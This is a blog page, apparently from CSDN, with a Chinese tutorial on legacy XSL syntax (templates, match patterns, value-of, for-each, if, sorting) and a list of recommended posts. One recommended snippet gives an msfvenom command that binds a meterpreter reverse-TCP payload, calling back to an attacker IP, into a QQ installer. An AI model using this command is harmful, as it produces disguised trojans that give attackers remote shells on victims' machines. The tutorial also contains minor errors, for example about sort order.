XSL语法介绍

XSL语法介绍

首先注意到的是,XSL文件本身即是一份 XML文件,所以在XSL文件的开头,一样有和XML文件相同的声明。W3C这个XML的标准机构为XSL定义了很多标记(元素),XSL文件就是这些标记和HTML标记的组合。在XSL文件中,必须有如下一行的代码:

  <xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl%22>

  这里,xsl:stylesheet是XSL文件的根元素,在根元素中包含了所有的排版样式,样式表就是由这些排版样式组合成的;xmlns:xsl="http://www.w3.org/TR/WD-xsl%22这一句主要用来说明该XSL样式表是使用W3C所制定的XSL,设定值就是XSL规范所在的URL地址。

  实际上,这里"http://www.w3.org/TR/WD-xsl%22就是一个名字空间(namespace),我们在上面关于XML Schema语法介绍的时候已经进行过介绍。这是一个标准的名字空间。"stylesheet","template","for-each"等等关键字都是这个名字空间所定义的。

  当然在xsl:stylesheet还可以设定其他的属性,其他的属性有:

   1. default-space:决定是否保留XML文件中的空白,仅当值为"default"时保留。

   2. indent-result:决定是否保留XSL文件中的空白,值为"yes"时保留。

   3. language:设定在XSL文件中使用的脚本语言。

  然后,我们在上面的代码中看到有如下的代码:

  <xsl:template match="/">
    ………
  </xsl:template>

  这里实际上是表示了XSL解析器对XML文档的处理过程,它从根节点(由match="/"决定,这里"/"就表示根节点)开始,对XML文档进行遍历,并根据具体的代码从XML文档中取出相关的内容。这里关于属性match的取值是一个比较复杂的问题。它实际上表示的含义是从XML文档中取出一个特定的节点集合(XML文档可以被看成一个树的结构,这个在后面关于XML解析器分析中有详细的介绍)。这里,我们通过几个简单的例子来说明属性match的取值。

  比如下面一行代码:

  <xsl:template match="/">

  这行代码的意思是告诉XSL解析程序,当前需要处理的节点是根节点下的内容(用"/"来表示根节点),其实这里的match值内容的编写是要符合XPath的语意。关于XPath我们在后面的章节中会进行详细的介绍。

  再举一个例子:

  <xsl:template match="shoppingcart/item">

  这行代码要匹配的是shoppingcart元素下的item元素。而不管shoppingcart在XML文档结构树下的哪一个位置。比如XML文档的其中一段是这样的。

  <shoppingcart>
  <item>
  <itemNo>3333</itemNo>
  <itemName>屠龙刀</itemName>
  </item>
  <item>
  <itemNo>4444</itemNo>
  <itemName>离别钩</itemName>
  </item>
  </shoppingcart>

  那么它匹配的内容就是
   <item>
   <itemNo>3333</itemNo>
   <itemName>屠龙刀</itemName>
   </item>
   <item>
   <itemNo>4444</itemNo>
   <itemName>离别钩</itemName>
   </item>

  而下面这个例子:

  <xsl:template match="/shoppingcart/item">

表示只匹配XML文档根节点下的shoppingcart这个节点下的所有item元素。也就是说如果shoppingcart不是直接在根节点下的,它就不符合这个匹配条件。

  再看一个例子:

  <xsl:template match="price[@unit='USD']">

这个例子说明要匹配的是这样的节点:一个带unit属性的元素price,而且unit的值必须为"USD"。比如一段XML代码是这样的。

  <price>
   <unit>USD</unit>
   <amount>100</amount>
  </price>
  <price>
   <unit>RMB</unit>
   <amount>300</amount>
  </price>

  那么它匹配的内容就是:

  <price>
   <unit>USD</unit>
   <amount>100</amount>
  </price>

  实际上,存在许多各种符号用来表示匹配规则,我们在XPath语法介绍中会详细涉及到。现在知道这么一个大概的概念就可以了。

  我们用<xsl:template match="具体匹配表达式">这条语句找到了一些节点集合以后,我们就要从这个集合中找到特定的元素或者元素属性的值,那么采用什么语句呢?就是用xsl:value-of select = ""这样的语句来寻找特定的内容。

  比如下面的例子中<xsl:value-of select="名称"/>这行代码就是表示定位XML文档中的名称元素的内容。在指定集合中可能存在多个名字元素,如果我们需要把它们一一列举出来进行处理的话,就需要用到语句xsl:for-each select = "",注意这里涉及到一个作用范围的概念,也就是说xsl:for-each select = ""这条语句是在一个指定的集合空间中执行的。比如上面例子中如下的代码

  这里的<xsl:for-each select="词语">是在<xsl:template match="网络用语集合">所指定的集合空间里面寻找元素"词语"的。

  同时,我们需要注意的是上面的代码中,出现了一条语句

   <xsl:apply-templates select="网络用语集合" />

  它表示什么意思呢,它实际上相当于C++中的一个过程调用,当XSL解析器执行到该语句的时候,它就会在代码中寻找以<?xml:namespace prefix = xsl /><xsl:template match="网络用语集合">开头的代码,所以在上面的例子程序中,以下的代码可以看成是过程的实现。

  
  把看成是一个过程调用,把<xsl:template match="网络用语集合">

  …….
  </xsl:template>

  看成是过程的实现,有助于我们对XSL解析器执行过程的理解。这里match="网络用语集合"可以理解为是传递给过程的参数,它表示过程实现体的集合范围是该match所匹配的节点集合空间("网络用语集合")。

  如果我们要对表格中的元素进行排序该什么办呢?比如说,在上面的例子中,我们需要按照名称进行排序。很简单对,改写为如下的形式即可:

  <xsl:for-each select="词语" order-by="+名称">,其中"+"表示按降序排列;"-"表示按升序排列。"order-by"是XSL语法中的关键字。

  如果我们只想在列表中取出某几行该怎么操作呢?比如我们只想取出名称为"恐龙"的行,见下面的代码:

  这里有一个新的句法为:<xsl:template match="网络用语集合">
  <table Border="1">
   <xsl:for-each select="词语" order-by="-名称">
   <xsl:if test=".[名称='恐龙']">
   <tr>
    <td><xsl:value-of select="名称"/></td>
    <td><xsl:value-of select="含义"/></td>
   </xsl:if>
   </xsl:for-each>
  </table>
  </xsl:template>

  

  它表示如果".[名称='恐龙']"为真(TRUE)的话,就执行该段里面的语句,要是为假(FALSE)的话就不执行。它和C++中的if语句的概念基本是一样的。

  前面我们用<xsl:value-of select=""/>取出的都是一个元素的值,但是我们要取出元素某一个属性的值该怎么做呢?采用下面的形式:

  <xsl:value-of select="元素名称/@属性名称"/>

  比如一段XML代码是这样的:

  <王朔 网址="http://www.wangshuo.com/">知名作家加著名评论家王朔先生的地方</王朔>

  我们可以用<xsl:value-of select="王朔/@网址"/>来得到值"http://www.wangshuo.com/"。

  以上包括了XSL的大多数基本的语法,更加详细和完整的介绍需要参看W3C相关的最新的文档,可以WWW.W3C.ORG/TR下找到。

  根据上面的分析,我们可以看到XSL实际上采用的是一种转换的思想,它最终将XML文档转换为另一种可用于输出的文档,而CSS则没有任何转换动作,在整个过程中没有任何新码产生。 另外,在XSL中90%的样式规定在CSS中都有定义,但仍然有一些效果是CSS无法描述的,必须使用XSL不可。这些功能包括文本的置换、根据文本内容决定显示方式、文档内容排序等,都是XSL所独有的。再者,XSL遵从XML的语法,而CSS的语法自成体系。

  选择样式单还要考虑不同浏览器对样式单的支持程度。目前IE5与Netscape的最新版本都支持CSS,但支持的程度都有限。至今为止,IE5尚不能完全支持CSS1,即便是支持的部分也存在很多错误,对于CSS2也只提供部分支持。Netscape在对CSS的支持上已经优于IE5,它采用新一代的Raptor/Gecko引擎技术,已经能够完全支持CSS1,但对CSS2的支持计划尚不明朗。而对XSLT而言,只有IE5支持,Netscape5并不支持。
CANOCO5.0实现冗余分析(RDA)最详细步骤 在地理及生态领域会常使用RDA分析,RDA的实现路径也有很多,今天介绍一下CANOCO软件的实现方法。1.不同样点和环境因子之间夹角是锐角 是正相关,是钝角是负相关。2.夹角越大 说明相关性较小,夹角越小,相关性越大。得有不同的物种或者样点数值,再加上环境因子数据。3.箭头越长 相关性越大。时间调整到2010年。 阅读详情

相关推荐

信噪比(Signal-to-Noise Ratio, SNR)详细介绍

信噪比(Signal-to-Noise Ratio,SNR)是衡量信号质量的重要参数,表示有用信号的功率与背景噪声功率的比值。其中,\( P_{\text{signal}} \) 表示信号功率,\( P_{\text{noise}} \) 表示噪声功率。- 音频处理:在音频设备和录音系统中,SNR决定了音质的好坏,高SNR表示音频信号更清晰,噪声更少。- 低SNR:信号中噪声成分较大,接收端难以分辨有用信号和噪声,可能导致误码率高,通信质量差。SNR定义为信号功率与噪声功率之比,通常用分贝(dB)表示。

qq_58860480的博客 8万+

【XML技术】XSL的基本语法

⊙XSL模板      模板是XSL中最重要的概念之一,XSL文件就是由一个一个的模板组成的,任何一个XSL文件至少包含一个模板.    定义一个模板的基本语法是:<xsl:template match="pattern">       <!--输出模板--></xsl:template>     属性match则控制模板的匹配模式,确定在什么情况下执行此模板...

keke_Xin的专栏 1010

msfconsole捆绑木马

捆绑木马 这里使用的是Kalilinux虚拟机 攻击机ip是192.168.0.108 靶机ip是192.168.177.134 生成木马文件 首先上传一个正常的安装包到kali里面 我这里下了一个QQ 把它上传到了root路径下 然后开始捆绑 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 -f exe -x /root/dy/PCQQ2020.exe -o /root/dy/QQ.exe -p:指定后面.

iuyoo的博客 8026

XSLT轻松入门第三章:XSLT的元素语法

通过前面两章的介绍,我们已经对XSLT的基本概念和它的转换过程有了一些了解。下面我们一起来学习XSLT的具体语法。说到语法总是比较枯燥的,您可以大体上浏览一遍,等您真正需要使用XSLT的时候,再仔细研究它们。 3.XSLT的元素语法 3.1 xsl:template和xsl:apply-templates 3.2 xsl:value-of 3.3 xsl:for-each 3.4 xsl:if 3

斯斯细语 1005

STM32F103用软件I2C读取IP2366电量数据,实测避坑指南(附完整源码)

本文详细介绍了如何使用STM32F103的软件I2C驱动读取IP2366电池管理芯片的电量数据,包括GPIO初始化、I2C时序实现、关键延时优化及常见问题解决方案。通过实测避坑指南和完整源码,帮助开发者快速实现稳定的电量数据读取,适用于嵌入式电池管理系统开发。

weixin_33725722的博客 515

因果推断综述-A Survey on Causal Inference

最近读到一篇讲述很全面的综述文献-《A Survey on Causal Inference》,对于接触因果推断不久的同学而言是特别详细的介绍和科普。文献很长,我会分成几部分介绍。 目录 摘要 第一部分:简介 第二部分:因果推断基础知识 第三部分:基于三种假设的因果推断方法 第四部分:实验 第五部分:应用 摘要 几十年来,因果推理是一个跨许多领域的关键研究主题,如统计、计算机科学、教育、公共政策和经济学。与随机对照试验相比,研究方向由于可用数据量大且预算要求低,如今,从观测数据..

海边凝望的博客 3183

跟我学XSL

随着Internet的发展,越来越多的信息进入互联网,信息的交换、检索、保存及再利用等迫切的需求使HTML这种最常用的标记语言已越来越捉襟见肘。HTML将数据内容与表现融为一体,可修改性、数据可检索性差,而XML借鉴了HTML与数据库、程序语言的优点,将内容与表现分开,不仅使检索更为方便,更主要的是用户之间数据的交换更加方便,可重用性更强。   XML是一种元标记语言,没有许多固定的标记,为WEB

yezhan的专栏 1616

B站评论情感分析实战:Python批量爬取+BERT正负向分类,精准度92%(附完整代码)

用技术手段自动化挖掘用户真实情感,比人工分析更高效、更客观。这套方案的精度能稳定在90%左右,完全满足实际应用需求。

专注于Python爬虫开发,分享爬虫技巧、项目实战与反爬经验,使用Scrapy、BeautifulSoup等工具,解决数据抓取难题。 1027

xsl语法介绍

作者:linux宝库 (http://www.linuxmine.com)摘自:http://www.linuxmine.com/4593.htmlXSL文件本身即是一份 XML文件,所以在XSL文件的开头,一样有和XML文件相同的声明。W3C这个XML的标准机构为XSL定义了很多标记(元素),XSL文件就是这些标记和HTML标记的组合。在XSL文件中,必须有如下一行的代码:  <xsl:styl

mahushen的专栏 1390

构网型逆变器下垂控制与电流限幅策略研究:理论、仿真与代码实现

随着分布式发电和微电网技术的快速发展,构网型(Grid-Forming, GFM)逆变器因其能够自主建立电压和频率参考、支撑弱电网及孤岛运行而受到广泛关注。本文提出并实现了一种基于下垂控制的构网型逆变器控制策略,将逆变器等效为受控电压源,通过L型滤波器接入配电网。在公共耦合点(PCC)处实时测量三相电压和电流,计算有功和无功功率,进而采用P-w和Q-V下垂控制生成内部频率和电压幅值,合成三相参考电压。针对故障情况下过电流问题,设计了一种自适应电流限幅模块:当电流幅值超过设定上限时,动态降低电压参考系数k_s

huanghm88的专栏 156

分级 API Key 的使用案例

分级 API Key 的使用案例 1. 背景介绍 1.1 问题由来 随着网络服务的普及,API(Application Programming Interface,应用程序编程接口)成为了连接不同系统和应用的关键桥梁。API Key(API密钥)

欢迎来到我的优快云空间!这里聚焦AI大模型应用实战,分享前沿技术、实战案例与开发经验。 1021

xsl 语法介绍

主要介绍xsl的基本语法

wangtao6791842的专栏 633

【新能源汽车DCDC变换器测试优化全攻略:解决电能质量/发热/过充等核心痛点】

高压直流转12V低压的DCDC变换器是新能源汽车电源系统的核心枢纽,承担着为整车低压附件、控制器及12V蓄电池供电/补电的关键作用。在新能源汽车乘用车、商用车等不同车型实际运营中,因PDU内DC/AC等模块干扰、DCDC自身设计缺陷、整车匹配性不佳及测试验证不充分,频发12V输出电能质量差导致后端元器件烧毁、变换器发热严重、蓄电池过充/欠充、智能补电功能失效等问题,还伴随低压侧电压瞬跌/浪涌、电磁干扰超标、振动后接触不良、高温下效率骤降等行业高频故障,直接影响整车可靠性和运营安全性。本文基于国标。

优快云-新能源汽车研发测试专业博主 1268

xsl(xslt)语法

xsl用途、语法、使用等介绍。

pengzp的专栏 774

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

XSl语法

XSL语法    首先注意到的是,XSL文件本身即是一份 XML文件,所以在XSL文件的开头,一样有和XML文件相同的声明。W3C这个XML的标准机构为XSL定义了很多标记(元素),XSL文件就是这些标记和HTML标记的组合。在XSL文件中,必须有如下一行的代码:                这里,xsl:stylesheet是XSL文件的根元素,在根元素中包含了所有的排版样式,样式表就是由这些

795

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

XSL介绍

                 XSL扩展标记语言                    1.CSS = HTML 样式表   XSL = XML 样式表 2.XSL 包括三部分:                   XSLT:一种用于转换 XML 文档的语言。                   XPath:一种用于在 XML 文档中导航的语言。             ...

mohaiyong的专栏 367

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

XSL语法

  首先注意到的是,XSL文件本身即是一份 XML文件,所以在XSL文件的开头,一样有和XML文件相同的声明。W3C这个XML的标准机构为XSL定义了很多标记(元素),XSL文件就是这些标记和HTML标记的组合。在XSL文件中,必须有如下一行的代码:   <xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl">...

weixin_30602505的博客 1518

xsl:choose, xsl:when 和 xsl:otherwise

xsl:choose, xsl:when 和 xsl:otherwise xsl:if语法没有else的属性。如果我们要进行多项选择,那么就要使用xsl:choose / xsl:when / xsl:otherwise系列流程控制语法了。具体的使用请看下面的XSL文件例子:  No name available 说明:首先在PEOPLE节点下寻找属

shuilv2000的专栏 4885

什么是XSL

XSL(EXtensible Stylesheet Language)它是指可扩展样式表语言。 XSL之于 XML 就像 CSS 之于 HTML。说白了就是将XML中的数据用指定的显示格式输出.XML不像HTML,它不包含任何显示格式的信息. XSL 包含两个部分: XSLT – 用于转换 XML 文档的语言. XSLT 是指 XSL 转换 (XSL Transformation

2303191的专栏 903
上一篇: struts动态验证文件
下一篇: SQL
qxmcool
博客等级 码龄19年 0粉丝 41原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值